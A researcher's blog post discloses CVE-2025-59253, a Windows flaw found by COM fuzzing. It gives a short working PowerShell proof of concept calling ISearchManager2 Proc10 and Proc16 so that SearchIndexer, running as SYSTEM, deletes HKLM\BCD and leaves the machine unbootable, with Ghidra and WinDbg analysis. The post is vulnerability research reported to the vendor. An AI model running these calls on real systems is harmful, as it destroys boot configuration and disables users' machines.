Deleting the BCD through COM as low privileged user
CVE-2025-59253: Demonstrating a vulnerability in Windows that leads to a low privileged user being able to delete the boot configuration data (BCD) through COM.
CVE-2025-59253: Demonstrating a vulnerability in Windows that leads to a low privileged user being able to delete the boot configuration data (BCD) through COM.
This article is written by Remco:

Remco van der Meer
Ethical Hacker
CVE-2025-59253: Demonstrating a vulnerability in Windows that leads to a low privileged user being able to delete the boot configuration data (BCD) through COM.
During my research into Component Object Model (COM) and DCOM (Distrubuted COM), I stumbled upon a interesting vulnerability in the Windows SearchIndexer process. This vulnerability allowed a low privileged user (user without administrative privileges or any additional tokens), to let the SearchIndexer process delete all registry keys under the HKLM\BCD registry key, essentially making the system unbootable.
COM/DCOM has been a interesting component in Windows from a security perspective for many years. In the past, COM has been a target for many different purposes. Not only have many vulnerabilities been discovered in COM, but it is also used for lateral movement or bypassing techniques.
Because of this, many (security) research is already conducted in this area. So to look for new vulnerabilities, another approach would probably lead to better results (vulnerabilities). I couldn't find any tooling/blogs related to fuzzing COM/DCOM, but correct me if I'm wrong. As fuzzing MS-RPC was proven to be a successful approach to discovering new vulnerabilities, I wondered if the same concept could be applied to COM/DCOM.
I decided to write a fuzzer around the OleViewDotNet tool from James Forshaw. You can find the COM-fuzzer tool here.
I ran the fuzzer against an up-to-date Windows 11 system. After rebooting the system, it didn't boot at all. Instead, I was asked to choose the keyboard layout.

Trying to repair the system through advanced options also didn't resolve the issue. Luckily, I made snapshots before starting the fuzzer. After rolling back to a working state of the machine, I ran the fuzzer again to make sure the fuzzer actually causes the system to be unbootable and that it wasn't a coincidence. And yes, after fuzzing all methods again, the system was again unbootable. Because I was fuzzing the system using a low privileged user context, this was very interesting.
Because I ran my fuzzer against about 200 classes with a total of about 5000 procedures, it was hard to tell which class, let alone which procedure(s), were responsible for making the system unbootable. Since I am doing blackbox fuzzing, it could be ANY procedure that was responsible. Of course I checked the logs of Windows for any errors/warnings, but this was all clean. It actually took me 2 nights to find the right class and procedures. My approach was splitting the classes in half each time and then fuzzing those classes, reboot the system, and repeat.
I eventually figured out that sometimes the system was perfectly bootable and sometimes it wasn't. This led to me doing cutting the classes in half approach a couple times over. The only left over class was Windows Search Manager with CLSID 7d096c5f-ac08-4f1f-beb7-5c22c517ce39. This Class has a couple of interfaces where one of course is the required IUnknown interface. The interface with the responsible procedures is dbab3f73-db19-4a79-bfc0-a61a93886ddf. The following is a snippet of the output for the Class of the COM Fuzzer that I wrote:
{
"ClassName": "Windows Search Manager",
"CLSID": "7d096c5f-ac08-4f1f-beb7-5c22c517ce39"
"Interfaces": [
{
"InterfaceName": "ISearchManager2",
"IID": "dbab3f73-db19-4a79-bfc0-a61a93886ddf",
"Methods": [
"Proc10_RetVal, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Proc10(string p0)",
"Proc11_RetVal, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Proc11()",
"int Proc12(string p0)",
"Proc13_RetVal, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Proc13()",
"Proc14_RetVal, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Proc14()",
"Proc15_RetVal, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Proc15()",
"Proc16_RetVal Proc16(string p0)",
"int Proc17(string p0)",
"Proc3_RetVal, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Proc3()",
"Proc4_RetVal, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Proc4()",
"Proc5_RetVal, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Proc5(string p0)",
"int Proc6(string p0, Struct_117, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null p1)",
"Proc7_RetVal, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Proc7()",
"Proc8_RetVal, 4usipont, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null Proc8()",
"int Proc9(NtApiDotNet.Ndr.Marshal.NdrEnum16 p0, int p1, int p2, string p3, string p4)"
]
}
]
}
```
After even more trial and error, I figured out that I first had to call Proc10(string p0) before I was able to call some of the other procedures within the interface. Proc10 probably initiates some object that is being used as reference for the other procedures, since the documentation for ISearchManager2 is limited, I am not sure.
When calling Proc16(string p0) after Proc10 using any input expect for special characters, the process starts deleting keys under the HKLM\SOFTWARE\Microsoft\Windows Search\ registry path as NT\Authority System. This can be observed using Process Monitor and using filters.
$cs = Get-ComClass-Clsid 7d096c5f-ac08-4f1f-beb7-5c22c517ce39
$IntObj = New-ComObject-Class $cs
$ComClient = Get-ComObjectInterface-Object $IntObj-Iid dbab3f73-db19-4a79-bfc0-a61a93886ddf
$ComClient.Proc10("a")
$ComClient.Proc16("b"

So far, no keys are being deleted that actually harm the system. However, when the string input for Proc16 contains a special character (such as . or /), the process deletes everything under HKLM\BCD.
$ComClient.Proc16(".")
Process Monitor results:

And that of course is a problem, because BCD is a binary database that contains boot-time configuration parameters. It essentially tells Windows how to start up. This path in the registry is protected by ACLs and only SYSTEM has full control over it.
Now that we know which procedures are responsible for deleting the keys, we can use WinDbg and Ghidra to get a better understanding of the vulnerability. Since the whole tree for BCD is deleted, it is likely that the RegDeleteTree operation is used.
Using Ghidra, we drop the "C:\Windows\System32\SearchIndexer.exe" binary and disassemble it. Lucky for us, there is only one function that includes the RegDeleteTree operation:

The function that includes the operation is:
void FUN_14007604c(undefined8 param_1,wchar_t *param_2)
{
ulonglong uVar1;
LPCWSTR lpSubKey;
undefined1 auStack_258 [48];
WCHAR local_228 [264];
ulonglong local_18;
local_18 = DAT_1400e1ac0 ^ (ulonglong)auStack_258;
uVar1 = FUN_1400103d4(param_1,-0x7ffffffe,param_2,local_228);
lpSubKey = local_228;
if ((char)uVar1 == '\0') {
lpSubKey = param_2;
}
RegDeleteTreeW((HKEY)0xffffffff80000002,lpSubKey); /* Hmmm....*/
FUN_140050600(local_18 ^ (ulonglong)auStack_258);
return;
}
So we see the RegDeleteTreeW function on line 16 and notice that it is pointing to HKEY with hex 0xffffffff80000002, which equates to HKEY_LOCAL_MACHINE. Next is lpSubKey. And we are actually interested in what this value is when we are deleting BCD. So we can attach the SearchIndexer process to WinDbg and look for the memory address:

Back in Ghidra, we set the address 7ff7d1c50000 to the base image address and go back to the vulnerable function. The line containing the RegDeleteTreeW has the following memory address:

In WinDbg we set a breakpoint on this address:
0:034> bl
0 e Disable Clear 00007ff7`d1cc6090 0001 (0001) 0:**** SearchIndexer+0x76090
We are good to go. We run the debugger and perform our exploit by entering the following in PowerShell:
powershell
$cs = Get-ComClass -Clsid 7d096c5f-ac08-4f1f-beb7-5c22c517ce39
$IntObj = New-ComObject -Class $cs
$ComClient = Get-ComObjectInterface -Object $IntObj -Iid dbab3f73-db19-4a79-bfc0-a61a93886ddf
$ComClient.Proc10("a")
$ComClient.Proc16(",")
The breakpoint hits in WinDbg:
00007ff7`d1cc6090 48ff1509030400 call qword ptr [SearchIndexer+0xb63a0 (00007ff7`d1d063a0)] ds:00007ff7`d1d063a0={KERNELBASE!RegDeleteTreeW (00007ffe`3c2479f0)}
We can now view the register values.
0:035> r
rax=0000000000000000 rbx=0000008002ee1798 rcx=ffffffff80000002
rdx=0000008002ee1798 rsi=0000008002d3fb84 rdi=00000080040efb00
rip=00007ff7d1cc6090 rsp=000000800357dc90 rbp=000000800357e140
r8=0000008002ee1798 r9=000000800357dcc0 r10=00007ffe3c8b0000
r11=000000800357dc70 r12=00000080024ddda0 r13=00007ff7d1d08d80
r14=0000000000000000 r15=00000080040efb00
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
SearchIndexer+0x76090:
00007ff7`d1cc6090 48ff1509030400 call qword ptr [SearchIndexer+0xb63a0 (00007ff7`d1d063a0)] ds:00007ff7`d1d063a0={KERNELBASE!RegDeleteTreeW (00007ffe`3c2479f0)}
We can use `da` to convert the memory address of `rsi` to a string:
0:035> da @rsi
00000080`02d3fb84 ","
There is our comma that we gave as input to the Proc16 function, great. If we provide t,est as input, we only see t as value for rsi. This means that our user input is added to the path of the RegDeleteTreeW function, or atleast the first character. This causes the function to somehow delete the first index of HKLM, which is HKLM\BCD by default. To proof this, I had a system setup without HKLM\BCD, so the first index becomes HKLM\HARDWARE. If we now make the COM calls, Process Monitor shows that the process deletes the HKLM\HARDWARE path:

I was not able to provide user input to the COM function so that it deletes another path instead of the first index. The reason why only the first character of the user input is parsed into the registry path lies deeper within the Windows Search process, which I didn't reverse. Yet it is a interesting bug that leads to a unusable system.
The whole reason this is a security vulnerability, is because as low privileged user on the system can execute the responsible COM functions. For malware purposes this could be to interest, because you could make the system(s) unbootable from a non-administrative context.
This blog post described how the fuzzing approach led to the disovery of a interesting vulnerability that allows a low-privileged user to delete all registry values for the path HKLM\BCD. This vulnerability was disclosed to Microsoft and CVE-2025-59253 was awareded together with a bounty. I expect to find more interesting bugs using the fuzzing approach and will soon be releasing the tool itself.